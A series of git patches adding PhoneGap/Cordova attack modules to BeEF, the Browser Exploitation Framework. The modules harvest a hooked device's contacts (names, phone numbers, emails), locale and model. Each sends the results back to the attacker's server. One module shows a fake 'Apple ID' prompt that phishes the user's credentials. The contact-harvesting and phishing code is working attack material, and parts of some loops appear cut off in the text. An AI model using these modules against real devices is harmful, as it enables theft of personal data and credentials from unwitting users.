From 1699d52475c5118286f2623bf24ec620e09fae2e Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 10:09:09 -0700 Subject: [PATCH 1/6] adding contact list --- .../phonegap_list_contacts/command.js | 39 +++++++++++++++++++ .../phonegap_list_contacts/config.yaml | 17 ++++++++ .../phonegap/phonegap_list_contacts/module.rb | 15 +++++++ 3 files changed, 71 insertions(+) create mode 100644 modules/phonegap/phonegap_list_contacts/command.js create mode 100644 modules/phonegap/phonegap_list_contacts/config.yaml create mode 100644 modules/phonegap/phonegap_list_contacts/module.rb diff --git a/modules/phonegap/phonegap_list_contacts/command.js b/modules/phonegap/phonegap_list_contacts/command.js new file mode 100644 index 000000000..533def2e4 --- /dev/null +++ b/modules/phonegap/phonegap_list_contacts/command.js @@ -0,0 +1,39 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +// phonegap_list_contacts +// +beef.execute(function() { + var result = ''; + + function onSuccess(contacts) { + + for (var i=0; i", <%= @command_id %>, 'result='+result ); + + }; + + function onError(contactError) { + result = 'fail'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + }; + + + var options = new ContactFindOptions(); + options.filter=""; + options.multiple=true; + var fields = ["displayName", "phoneNumbers"]; + + navigator.contacts.find(fields, onSuccess, onError, options); + +}); \ No newline at end of file diff --git a/modules/phonegap/phonegap_list_contacts/config.yaml b/modules/phonegap/phonegap_list_contacts/config.yaml new file mode 100644 index 000000000..7b4e28cff --- /dev/null +++ b/modules/phonegap/phonegap_list_contacts/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# phonegap +# +beef: + module: + phonegap_list_contacts: + enable: true + category: "Phonegap" + name: "List Contacts" + description: "Examine device contacts." + authors: ["staregate"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_list_contacts/module.rb b/modules/phonegap/phonegap_list_contacts/module.rb new file mode 100644 index 000000000..e892b491a --- /dev/null +++ b/modules/phonegap/phonegap_list_contacts/module.rb @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# // phonegap_list_contacts + +class Phonegap_list_contacts < BeEF::Core::Command + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + end +end From 906ca6cccefc9f8f596ad4fa0c6b249cb037a080 Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 13:13:24 -0700 Subject: [PATCH 2/6] Cordova detection added --- core/main/client/browser.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index a63859b3b..a82d3df43 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -1082,8 +1082,9 @@ beef.browser = { */ hasPhonegap:function () { var result = false; + try { - if (!!device.phonegap) result = true; else result = false; + if (!!device.phonegap || !!device.cordova) result = true; else result = false; } catch (e) { result = false; From d3262d945103d21a3d41db12bc7091fc59506cb7 Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 13:34:09 -0700 Subject: [PATCH 3/6] Adding local detection --- .../phonegap_globalization_status/command.js | 34 +++++++++++++++++++ .../phonegap_globalization_status/config.yaml | 17 ++++++++++ .../phonegap_globalization_status/module.rb | 15 ++++++++ 3 files changed, 66 insertions(+) create mode 100644 modules/phonegap/phonegap_globalization_status/command.js create mode 100644 modules/phonegap/phonegap_globalization_status/config.yaml create mode 100644 modules/phonegap/phonegap_globalization_status/module.rb diff --git a/modules/phonegap/phonegap_globalization_status/command.js b/modules/phonegap/phonegap_globalization_status/command.js new file mode 100644 index 000000000..e5f657b9b --- /dev/null +++ b/modules/phonegap/phonegap_globalization_status/command.js @@ -0,0 +1,34 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +// Phonegap_globalization_status +// +beef.execute(function() { + var result = ''; + + navigator.globalization.getPreferredLanguage( + function (language) { + result = 'language: ' + language.value + '\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + }, + function () { + result = 'language: ' + 'fail\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + } + ); + + navigator.globalization.getLocaleName( + function (locale) { + result = 'locale: ' + locale.value + '\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + }, + function () { + result = 'locale: ' + 'fail\n'; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + } + ); + +}); \ No newline at end of file diff --git a/modules/phonegap/phonegap_globalization_status/config.yaml b/modules/phonegap/phonegap_globalization_status/config.yaml new file mode 100644 index 000000000..7ced9d85a --- /dev/null +++ b/modules/phonegap/phonegap_globalization_status/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Phonegap_globalization_status +# +beef: + module: + phonegap_globalization_status: + enable: true + category: "Phonegap" + name: "Globalization Status" + description: "Examine device local settings" + authors: ["staregate"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_globalization_status/module.rb b/modules/phonegap/phonegap_globalization_status/module.rb new file mode 100644 index 000000000..1bb32a3ae --- /dev/null +++ b/modules/phonegap/phonegap_globalization_status/module.rb @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# // Phonegap_globalization_status + +class Phonegap_globalization_status < BeEF::Core::Command + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + end +end From 3dbfdbac7e5a2710da85615f2791b5f63408e199 Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 14:02:53 -0700 Subject: [PATCH 4/6] Adding user prompt --- .../phonegap/phonegap_prompt_user/command.js | 29 ++++++++++++ .../phonegap/phonegap_prompt_user/config.yaml | 17 +++++++ .../phonegap/phonegap_prompt_user/module.rb | 46 +++++++++++++++++++ 3 files changed, 92 insertions(+) create mode 100644 modules/phonegap/phonegap_prompt_user/command.js create mode 100644 modules/phonegap/phonegap_prompt_user/config.yaml create mode 100644 modules/phonegap/phonegap_prompt_user/module.rb diff --git a/modules/phonegap/phonegap_prompt_user/command.js b/modules/phonegap/phonegap_prompt_user/command.js new file mode 100644 index 000000000..b539e9b65 --- /dev/null +++ b/modules/phonegap/phonegap_prompt_user/command.js @@ -0,0 +1,29 @@ +// +// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +// Phonegap_prompt_user +// +beef.execute(function() { + var title = "<%== @title %>"; + var question = "<%== @question %>"; + var ans_yes = "<%== @ans_yes %>"; + var ans_no = "<%== @ans_no %>"; + var result = ''; + + + function onPrompt(results) { + result = "Selected button number " + results.buttonIndex + " result: " + results.input1; + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); + } + + navigator.notification.prompt( + question, + onPrompt, + title, + [ans_yes,ans_no] + ); + +}); diff --git a/modules/phonegap/phonegap_prompt_user/config.yaml b/modules/phonegap/phonegap_prompt_user/config.yaml new file mode 100644 index 000000000..f1e212eae --- /dev/null +++ b/modules/phonegap/phonegap_prompt_user/config.yaml @@ -0,0 +1,17 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Phonegap_prompt_user +# +beef: + module: + phonegap_prompt_user: + enable: true + category: "Phonegap" + name: "Prompt User" + description: "Ask device user a question" + authors: ["staregate"] + target: + working: ["All"] diff --git a/modules/phonegap/phonegap_prompt_user/module.rb b/modules/phonegap/phonegap_prompt_user/module.rb new file mode 100644 index 000000000..2aa3a373e --- /dev/null +++ b/modules/phonegap/phonegap_prompt_user/module.rb @@ -0,0 +1,46 @@ +# +# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +# Phonegap_prompt_user +# + +class Phonegap_prompt_user < BeEF::Core::Command + + def self.options + return [{ + 'name' => 'title', + 'description' => 'Prompt title', + 'ui_label'=>'Title', + 'value' => 'Apple ID', + 'width' => '300px' + + },{ + 'name' => 'question', + 'description' => 'Prompt question', + 'ui_label'=>'Question', + 'value' => 'Please enter your Apple ID', + 'width' => '300px' + },{ + 'name' => 'ans_yes', + 'description' => 'Prompt positive answer button label', + 'ui_label'=>'Yes', + 'value' => 'Submit', + 'width' => '100px' + },{ + 'name' => 'ans_no', + 'description' => 'Prompt negative answer button label', + 'ui_label'=>'No', + 'value' => 'Cancel', + 'width' => '100px' + }] + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + end + +end From 0479744dfca8583e6e9dcb4359967bfb5d206f06 Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 14:14:19 -0700 Subject: [PATCH 5/6] added device model detection --- modules/phonegap/phonegap_detect/command.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/phonegap/phonegap_detect/command.js b/modules/phonegap/phonegap_detect/command.js index ab725a8a8..49b4f55ce 100644 --- a/modules/phonegap/phonegap_detect/command.js +++ b/modules/phonegap/phonegap_detect/command.js @@ -17,7 +17,8 @@ beef.execute(function() { + " cordova api: " + device.cordova + " platform: " + device.platform + " uuid: " + device.uuid - + " version: " + device.version; + + " version: " + device.version + + " model: " + device.model; } catch(e) { phonegap_details = "unable to detect phonegap"; } From 5722cb2bc1d4bb90257b071c727ef4736103e9bc Mon Sep 17 00:00:00 2001 From: Sergey Gorbaty Date: Fri, 3 May 2013 14:24:23 -0700 Subject: [PATCH 6/6] Added email to contact list --- .../phonegap/phonegap_list_contacts/command.js | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/modules/phonegap/phonegap_list_contacts/command.js b/modules/phonegap/phonegap_list_contacts/command.js index 533def2e4..6587811af 100644 --- a/modules/phonegap/phonegap_list_contacts/command.js +++ b/modules/phonegap/phonegap_list_contacts/command.js @@ -12,15 +12,19 @@ beef.execute(function() { function onSuccess(contacts) { for (var i=0; i", <%= @command_id %>, 'result='+result ); + } - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result ); - }; function onError(contactError) { @@ -32,7 +36,7 @@ beef.execute(function() { var options = new ContactFindOptions(); options.filter=""; options.multiple=true; - var fields = ["displayName", "phoneNumbers"]; + var fields = ["displayName", "phoneNumbers", "emails"]; navigator.contacts.find(fields, onSuccess, onError, options);